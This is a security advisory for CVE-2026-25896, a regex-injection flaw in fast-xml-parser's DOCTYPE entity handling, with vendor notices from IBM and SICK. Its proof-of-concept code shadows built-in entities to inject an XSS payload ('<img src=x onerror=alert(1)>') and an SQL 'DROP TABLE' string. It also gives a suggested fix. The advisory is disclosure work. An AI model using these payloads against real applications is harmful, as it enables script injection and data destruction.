CVE-2026-25896

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um einen Denial-of-Service-Zustand herbeizuführen oder Sicherheitsmaßnahmen zu umgehen, wodurch Cross-Site-Scripting-Angriffe ermöglicht werden.

Multiple vulnerabilities in the third-party component fast-xml-parser affect the Device Manager Extension in Sentio Creator. The extension is maintained and updated independently from SICK Sentio Creator, but successful exploitation of these vulnerabilities could impact the security of the Sentio Creator. SICK strongly recommends upgrading the extension to remediate the identified issues.

# Entity encoding bypass via regex injection in DOCTYPE entity names ## Summary A dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`&lt;`, `&gt;`, `&amp;`, `&quot;`, `&apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. ## Details The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec. In `DocTypeReader.js`, entity names are passed directly to `RegExp()`: ```js entities[entityName] = { regx: RegExp(`&${entityName};`, "g"), val: val }; ``` An entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `&lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `&lt;` entirely. The same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included: ```js // v6 EntitiesParser.js line 96 const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot ``` ## Shadowing all 5 built-in entities | Entity name | Regex created | Shadows | |---|---|---| | `l.` | `/&l.;/g` | `&lt;` | | `g.` | `/&g.;/g` | `&gt;` | | `am.` | `/&am.;/g` | `&amp;` | | `quo.` | `/&quo.;/g` | `&quot;` | | `apo.` | `/&apo.;/g` | `&apos;` | ## PoC ```js const { XMLParser } = require("fast-xml-parser"); const xml = `<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY l. "<img src=x onerror=alert(1)>"> ]> <root> <text>Hello &lt;b&gt;World&lt;/b&gt;</text> </root>`; const result = new XMLParser().parse(xml); console.log(result.root.text); // Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b> ``` No special parser options needed - `processEntities: true` is the default. When an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `<img onerror>` fires. `&amp;` can be shadowed too: ```js const xml2 = `<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY am. "'; DROP TABLE users;--"> ]> <root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`; const r = new XMLParser().parse(xml2); console.log(r.root); // SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien' ``` ## Impact This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected. - Default config, no special options - Attacker can replace any `&lt;` / `&gt;` / `&amp;` / `&quot;` / `&apos;` with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page - v5 and v6 both affected ## Suggested fix Escape regex metacharacters before constructing the replacement regex: ```js const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); entities[entityName] = { regx: RegExp(`&${escaped};`, "g"), val: val }; ``` For v6, add `.` to the blacklist in `validateEntityName`: ```js const specialChar = "!?\\/[].{}^&*()<>|+"; ``` ## Severity **CWE-185** (Incorrect Regular Expression) **CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)** Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.